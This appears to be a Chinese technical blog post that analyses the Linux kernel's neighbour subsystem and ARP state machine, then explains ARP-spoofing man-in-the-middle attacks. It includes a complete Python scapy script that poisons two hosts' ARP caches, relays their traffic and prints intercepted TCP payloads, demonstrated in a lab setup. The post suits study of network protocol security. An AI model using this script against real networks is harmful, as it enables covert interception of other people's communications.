邻居子系统与ARP协议

邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。

其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议

邻居子系统的数据结构

struct neighbour{
....................
}

neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态

struct neighbour_table{
....................
}

每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl

neighbour_table 包含 neighbour

邻居子系统的状态转换

其状态信息是存放在neighbour结构的nud_state字段的

可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。

NUD_NONE:

表示刚刚调用neigh_alloc创建neighbour

NUD_IMCOMPLETE

发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE

NUD_REACHABLE:

表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态

NUD_STALE

在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态

NUD_DELAY

该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。

NUD_PROBE

类似NUD_IMCOMPLETE状态

NUD_FAILED

不可达状态,准备删除该neighbour

各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看

ARP接收处理函数分析

ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中

我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程

当为ARP请求数据包,且能找到到目的地址的路由

如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理

如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址

当为ARP请求数据包,不能找到到目的地址的路由

不做任何处理

当为ARP响应数据包

如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址

中间人攻击原理

通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。

同理,向B中发送ARP请求包,其中源IP地址为A的地址

然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。

使用Python scapy包,实现中间人攻击:

环境

python3

ubuntu 14.04

VMware 虚拟专用网络

代码
#!/usr/bin/python3

from scapy.all import *
import threading
import time

client_ip = "192.168.222.186"
client_mac = "00:0c:29:98:cd:05"

server_ip = "192.168.222.185"
server_mac = "00:0c:29:26:32:aa"

my_ip = "192.168.222.187"
my_mac = "00:0c:29:e5:f1:21"

def packet_handle(packet):
    if packet.haslayer("ARP"):
        if packet.pdst == client_ip or packet.pdst == server_ip:
            if packet.op == 1: # request
                if packet.pdst == client_ip:
                    pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)
                    sendp(pkt)
                if packet.pdst == server_ip:
                    pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)
                    sendp(pkt)

                pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) #reply
                sendp(pkt)
            if packet.op == 2: #reply
                if packet.pdst == client_ip:
                    pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)
                    sendp(pkt)
                if packet.pdst == server_ip:
                    pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)
                    sendp(pkt)

    if packet.haslayer("IP"):
        if packet[IP].dst == client_ip or packet[IP].dst == server_ip:
            if packet[IP].dst == client_ip:
                packet[Ether].dst=client_mac
            if packet[IP].dst == server_ip:
                packet[Ether].dst=server_mac
            packet[Ether].src = my_mac
            sendp(packet)
        if packet.haslayer("TCP"):
            print(packet[TCP].payload)

class SniffThread(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        sniff(prn = packet_handle,count=0)

class PoisoningThread(threading.Thread):
    __src_ip = ""
    __dst_ip = ""
    __mac = ""
    def __init__(self,dst_ip,src_ip,mac):
        threading.Thread.__init__(self)
        self.__src_ip = src_ip
        self.__dst_ip = dst_ip
        self.__mac = mac

    def run(self):
        pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)
        srp1(pkt)
        print("poisoning thread exit")

if __name__ == "__main__":
    my_sniff = SniffThread()
    client = PoisoningThread(client_ip,server_ip,client_mac)
    server = PoisoningThread(server_ip,client_ip,server_mac)

    client.start()
    server.start()
    my_sniff.start()

    client.join()
    server.join()
    my_sniff.join()

client_ip 为发送数据的IP

server_ip 为接收数据的IP

参考质料

Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制

https://blog.csdn.net/lickylin/article/details/22228047

从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现的更多相关文章

  1. 中间人攻击——ARP欺骗的原理、实战及防御

    ​ 1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 A ...

  2. 从 Linux 内核角度探秘 JDK NIO 文件读写本质

    1. 前言 笔者在 <从 Linux 内核角度看 IO 模型的演变>一文中曾对 Socket 文件在内核中的相关数据结构为大家做了详尽的阐述. 又在此基础之上介绍了针对 socket 文件 ...

  3. 中间人攻击-ARP毒化

    感谢Heee投递 中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户.仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们.正如字面意思一样,中间人攻 ...

  4. 聊聊Netty那些事儿之从内核角度看IO模型

    从今天开始我们来聊聊Netty的那些事儿,我们都知道Netty是一个高性能异步事件驱动的网络框架. 它的设计异常优雅简洁,扩展性高,稳定性强.拥有非常详细完整的用户文档. 同时内置了很多非常有用的模块 ...

  5. Linux内核链表——看这一篇文章就够了

    本文从最基本的内核链表出发,引出初始化INIT_LIST_HEAD函数,然后介绍list_add,通过改变链表位置的问题引出list_for_each函数,然后为了获取容器结构地址,引出offseto ...

  6. 中间人攻击-Arp之局域网内DNS欺骗

    基础知识 网关是啥? 网关是工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,网关就好比一个房间通向另一个房间的一扇门. ARP协议 假设A(192.168.1.2)与B(1 ...

  7. 从linux进程角度看JVM内存模型

    普通进程栈区,在JVM一般仅仅用做线程栈,如下图所示 首先是永久代.永久代本质上是Java程序的代码区和数据区.Java程序中类(class),会被加载到整个区域的不同数据结构中去,包括常量池.域.方 ...

  8. 利用python scapy包进行抓包发包与ARP扫描

    小技巧 通过在交互式的python解释器下,可以通过help()函数查看函数或模块的用途. dir() 函数不带参数时,返回当前范围内的变量.方法和定义的类型列表:带参数时,返回参数的属性.方法列表 ...

  9. ARP欺骗配置及演示过程

    目录 环境 软件 网络拓扑图 配置流程 配置构思 具体流程 问题 演示过程 状态 检查Attack前centOS7_1的ARP地址表 在kali上输入以下命令发动攻击 此时查看centOS7_1的AR ...

随机推荐

  1. 如何用ABP框架快速完成项目 - 自动化测试 - 前端angular e2e protractor

    要想快速完成一个项目, 自动化是很关键很有用的一块. 自动化测试比人工测试快很多. 特别是在回归测试中. 实践证明, 虽然投入了时间在写自动化测试代码上, 但是在回归测试中节省了大量的时间,同时及时发 ...

  2. 网络基础 记一次HTTPS证书验证测试过程

    记一次HTTPS证书验证测试过程 by:授客 QQ:1033553122 实践 1) 安装证书 选择主机A(假设10.202.95.88)上安装https证书 说明:采用https的服务器,必须安装数 ...

  3. loadrunner 脚本录制-Action分类

    脚本录制-Action分类 by:授客 QQ:1033553122 Action分类 l . Vuser_init 2. Vuser_end 3.  Action 在lr中用户的初始化操作应该存放在V ...

  4. Flutter 布局(三)- FittedBox、AspectRatio、ConstrainedBox详解

    本文主要介绍Flutter布局中的FittedBox.AspectRatio.ConstrainedBox,详细介绍了其布局行为以及使用场景,并对源码进行了分析. 1. FittedBox Scale ...

  5. 卸载(uninstalled)Mac os Jenkins pkg 安装包

    有些小伙伴不熟悉Jenkins, 在mac上安装,会选择pkg 安装包, 安装后又想卸载,苦于卸载不干净,今天给到一个命令即可搞定. 对应qq群号:616961231打开终端输入下面命令'/Libra ...

  6. 轻量简单好用的C++JSON库CJsonObject

    1. JSON概述 JSON: JavaScript 对象表示法( JavaScript Object Notation) .是一种轻量级的数据交换格式. 它基于ECMAScript的一个子集.许多编 ...

  7. IT真的是万能的吗?

    朋友最近郁闷了,作为企业信息化主管的他最近经常听到的一句话就是:IT是万能的,不能拒绝用户的任何需求.这句话如果是普通用户私下开玩笑说说也就罢了,但现在演变成了老板在会议场合不止一次这么说,那就让人匪 ...

  8. windows虚拟内存机制

    在windows系统中个,每个进程拥有自己独立的虚拟地址空间(Virtual Address Space).这一地址空间的大小与计算机硬件.操作系统以及应用程序都有关系. 对于32位程序来说,最多能使 ...

  9. Python中类的定义及使用

    类是一些有共同特征和行为事务事物的抽象概念的总和. 从中可以看出,方法只能使用实例直接调用(无需传self参数),而使用类调用必须传入实例对象: 属性可以使用实例调用,也可以使用类直接调用,因此可以看 ...

  10. 自动化测试基础篇--Selenium发送测试报告邮件

    来自:https://www.cnblogs.com/sanzangTst/p/8377870.html 发邮件需要用到python两个模块,smtplib和email,这俩模块是python自带的, ...